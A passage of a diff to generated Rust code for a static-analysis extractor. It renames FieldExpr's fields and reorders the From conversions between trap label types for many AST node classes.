@@ -5083,8 +5210,8 @@ impl From<trap::Label<ExprStmt>> for trap::Label<Stmt> {
 pub struct FieldExpr {
     pub id: trap::TrapId<FieldExpr>,
     pub attrs: Vec<trap::Label<Attr>>,
-    pub expr: Option<trap::Label<Expr>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+    pub container: Option<trap::Label<Expr>>,
+    pub identifier: Option<trap::Label<NameRef>>,
 }
 
 impl trap::TrapEntry for FieldExpr {
@@ -5097,11 +5224,11 @@ impl trap::TrapEntry for FieldExpr {
         for (i, v) in self.attrs.into_iter().enumerate() {
             out.add_tuple("field_expr_attrs", vec![id.into(), i.into(), v.into()]);
         }
-        if let Some(v) = self.expr {
-            out.add_tuple("field_expr_exprs", vec![id.into(), v.into()]);
+        if let Some(v) = self.container {
+            out.add_tuple("field_expr_containers", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("field_expr_name_refs", vec![id.into(), v.into()]);
+        if let Some(v) = self.identifier {
+            out.add_tuple("field_expr_identifiers", vec![id.into(), v.into()]);
         }
     }
 }
@@ -5110,36 +5237,36 @@ impl trap::TrapClass for FieldExpr {
     fn class_name() -> &'static str { "FieldExpr" }
 }
 
-impl From<trap::Label<FieldExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<FieldExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<FieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FieldExpr>> for trap::Label<Element> {
+impl From<trap::Label<FieldExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<FieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FieldExpr>> for trap::Label<Expr> {
+impl From<trap::Label<FieldExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<FieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FieldExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<FieldExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<FieldExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme FieldExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5189,18 +5316,18 @@ impl trap::TrapClass for FnPtrTypeRepr {
     fn class_name() -> &'static str { "FnPtrTypeRepr" }
 }
 
-impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<FnPtrTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FnPtrTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme FnPtrTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<FnPtrTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FnPtrTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme FnPtrTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5216,9 +5343,9 @@ impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<FnPtrTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<FnPtrTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FnPtrTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme FnPtrTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5252,18 +5379,18 @@ impl trap::TrapClass for ForTypeRepr {
     fn class_name() -> &'static str { "ForTypeRepr" }
 }
 
-impl From<trap::Label<ForTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<ForTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<ForTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ForTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ForTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<ForTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ForTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ForTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5279,9 +5406,9 @@ impl From<trap::Label<ForTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ForTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<ForTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<ForTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ForTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme ForTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5319,36 +5446,36 @@ impl trap::TrapClass for FormatArgsExpr {
     fn class_name() -> &'static str { "FormatArgsExpr" }
 }
 
-impl From<trap::Label<FormatArgsExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<FormatArgsExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<FormatArgsExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FormatArgsExpr>> for trap::Label<Element> {
+impl From<trap::Label<FormatArgsExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<FormatArgsExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FormatArgsExpr>> for trap::Label<Expr> {
+impl From<trap::Label<FormatArgsExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<FormatArgsExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FormatArgsExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<FormatArgsExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<FormatArgsExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme FormatArgsExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5394,18 +5521,18 @@ impl trap::TrapClass for IdentPat {
     fn class_name() -> &'static str { "IdentPat" }
 }
 
-impl From<trap::Label<IdentPat>> for trap::Label<AstNode> {
+impl From<trap::Label<IdentPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<IdentPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IdentPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme IdentPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IdentPat>> for trap::Label<Element> {
+impl From<trap::Label<IdentPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<IdentPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IdentPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme IdentPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5421,9 +5548,9 @@ impl From<trap::Label<IdentPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<IdentPat>> for trap::Label<Pat> {
+impl From<trap::Label<IdentPat>> for trap::Label<Element> {
     fn from(value: trap::Label<IdentPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IdentPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme IdentPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5465,36 +5592,36 @@ impl trap::TrapClass for IfExpr {
     fn class_name() -> &'static str { "IfExpr" }
 }
 
-impl From<trap::Label<IfExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<IfExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<IfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IfExpr>> for trap::Label<Element> {
+impl From<trap::Label<IfExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<IfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IfExpr>> for trap::Label<Expr> {
+impl From<trap::Label<IfExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<IfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IfExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<IfExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<IfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme IfExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5524,18 +5651,18 @@ impl trap::TrapClass for ImplTraitTypeRepr {
     fn class_name() -> &'static str { "ImplTraitTypeRepr" }
 }
 
-impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<ImplTraitTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ImplTraitTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ImplTraitTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ImplTraitTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ImplTraitTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ImplTraitTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5551,9 +5678,9 @@ impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<ImplTraitTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<ImplTraitTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ImplTraitTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme ImplTraitTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5591,36 +5718,36 @@ impl trap::TrapClass for IndexExpr {
     fn class_name() -> &'static str { "IndexExpr" }
 }
 
-impl From<trap::Label<IndexExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<IndexExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<IndexExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IndexExpr>> for trap::Label<Element> {
+impl From<trap::Label<IndexExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<IndexExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IndexExpr>> for trap::Label<Expr> {
+impl From<trap::Label<IndexExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<IndexExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<IndexExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<IndexExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<IndexExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme IndexExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5646,18 +5773,18 @@ impl trap::TrapClass for InferTypeRepr {
     fn class_name() -> &'static str { "InferTypeRepr" }
 }
 
-impl From<trap::Label<InferTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<InferTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<InferTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme InferTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme InferTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<InferTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<InferTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<InferTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme InferTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme InferTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5673,9 +5800,9 @@ impl From<trap::Label<InferTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<InferTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<InferTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<InferTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme InferTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme InferTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5691,9 +5818,9 @@ impl trap::TrapClass for Item {
     fn class_name() -> &'static str { "Item" }
 }
 
-impl From<trap::Label<Item>> for trap::Label<Addressable> {
+impl From<trap::Label<Item>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Item>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Item is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Item is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5709,27 +5836,27 @@ impl From<trap::Label<Item>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Item>> for trap::Label<Element> {
+impl From<trap::Label<Item>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Item>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Item is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Item is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Item>> for trap::Label<Locatable> {
+impl From<trap::Label<Item>> for trap::Label<Element> {
     fn from(value: trap::Label<Item>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Item is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Item is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Item>> for trap::Label<Stmt> {
+impl From<trap::Label<Item>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Item>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Item is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Item is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5745,36 +5872,36 @@ impl trap::TrapClass for LabelableExpr {
     fn class_name() -> &'static str { "LabelableExpr" }
 }
 
-impl From<trap::Label<LabelableExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<LabelableExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<LabelableExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LabelableExpr>> for trap::Label<Element> {
+impl From<trap::Label<LabelableExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LabelableExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LabelableExpr>> for trap::Label<Expr> {
+impl From<trap::Label<LabelableExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LabelableExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LabelableExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<LabelableExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<LabelableExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LabelableExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5812,36 +5939,36 @@ impl trap::TrapClass for LetExpr {
     fn class_name() -> &'static str { "LetExpr" }
 }
 
-impl From<trap::Label<LetExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<LetExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<LetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LetExpr>> for trap::Label<Element> {
+impl From<trap::Label<LetExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LetExpr>> for trap::Label<Expr> {
+impl From<trap::Label<LetExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LetExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<LetExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<LetExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LetExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5887,18 +6014,18 @@ impl trap::TrapClass for LetStmt {
     fn class_name() -> &'static str { "LetStmt" }
 }
 
-impl From<trap::Label<LetStmt>> for trap::Label<AstNode> {
+impl From<trap::Label<LetStmt>> for trap::Label<Stmt> {
     fn from(value: trap::Label<LetStmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetStmt is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LetStmt is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LetStmt>> for trap::Label<Element> {
+impl From<trap::Label<LetStmt>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LetStmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetStmt is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LetStmt is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5914,9 +6041,9 @@ impl From<trap::Label<LetStmt>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<LetStmt>> for trap::Label<Stmt> {
+impl From<trap::Label<LetStmt>> for trap::Label<Element> {
     fn from(value: trap::Label<LetStmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetStmt is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme LetStmt is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5946,18 +6073,18 @@ impl trap::TrapClass for Lifetime {
     fn class_name() -> &'static str { "Lifetime" }
 }
 
-impl From<trap::Label<Lifetime>> for trap::Label<AstNode> {
+impl From<trap::Label<Lifetime>> for trap::Label<UseBoundGenericArg> {
     fn from(value: trap::Label<Lifetime>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Lifetime is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Lifetime is a subclass of UseBoundGenericArg
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Lifetime>> for trap::Label<Element> {
+impl From<trap::Label<Lifetime>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Lifetime>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Lifetime is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Lifetime is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5973,9 +6100,9 @@ impl From<trap::Label<Lifetime>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<Lifetime>> for trap::Label<UseBoundGenericArg> {
+impl From<trap::Label<Lifetime>> for trap::Label<Element> {
     fn from(value: trap::Label<Lifetime>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Lifetime is a subclass of UseBoundGenericArg
+        // SAFETY: this is safe because in the dbscheme Lifetime is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6005,36 +6132,36 @@ impl trap::TrapClass for LifetimeArg {
     fn class_name() -> &'static str { "LifetimeArg" }
 }
 
-impl From<trap::Label<LifetimeArg>> for trap::Label<AstNode> {
+impl From<trap::Label<LifetimeArg>> for trap::Label<GenericArg> {
     fn from(value: trap::Label<LifetimeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of GenericArg
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LifetimeArg>> for trap::Label<Element> {
+impl From<trap::Label<LifetimeArg>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LifetimeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LifetimeArg>> for trap::Label<GenericArg> {
+impl From<trap::Label<LifetimeArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LifetimeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of GenericArg
+        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LifetimeArg>> for trap::Label<Locatable> {
+impl From<trap::Label<LifetimeArg>> for trap::Label<Element> {
     fn from(value: trap::Label<LifetimeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LifetimeArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6072,36 +6199,36 @@ impl trap::TrapClass for LifetimeParam {
     fn class_name() -> &'static str { "LifetimeParam" }
 }
 
-impl From<trap::Label<LifetimeParam>> for trap::Label<AstNode> {
+impl From<trap::Label<LifetimeParam>> for trap::Label<GenericParam> {
     fn from(value: trap::Label<LifetimeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of GenericParam
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LifetimeParam>> for trap::Label<Element> {
+impl From<trap::Label<LifetimeParam>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LifetimeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LifetimeParam>> for trap::Label<GenericParam> {
+impl From<trap::Label<LifetimeParam>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LifetimeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of GenericParam
+        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LifetimeParam>> for trap::Label<Locatable> {
+impl From<trap::Label<LifetimeParam>> for trap::Label<Element> {
     fn from(value: trap::Label<LifetimeParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LifetimeParam is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6135,36 +6262,36 @@ impl trap::TrapClass for LiteralExpr {
     fn class_name() -> &'static str { "LiteralExpr" }
 }
 
-impl From<trap::Label<LiteralExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<LiteralExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<LiteralExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LiteralExpr>> for trap::Label<Element> {
+impl From<trap::Label<LiteralExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LiteralExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LiteralExpr>> for trap::Label<Expr> {
+impl From<trap::Label<LiteralExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LiteralExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LiteralExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<LiteralExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<LiteralExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LiteralExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6194,18 +6321,18 @@ impl trap::TrapClass for LiteralPat {
     fn class_name() -> &'static str { "LiteralPat" }
 }
 
-impl From<trap::Label<LiteralPat>> for trap::Label<AstNode> {
+impl From<trap::Label<LiteralPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<LiteralPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LiteralPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme LiteralPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LiteralPat>> for trap::Label<Element> {
+impl From<trap::Label<LiteralPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<LiteralPat>) -> Self {
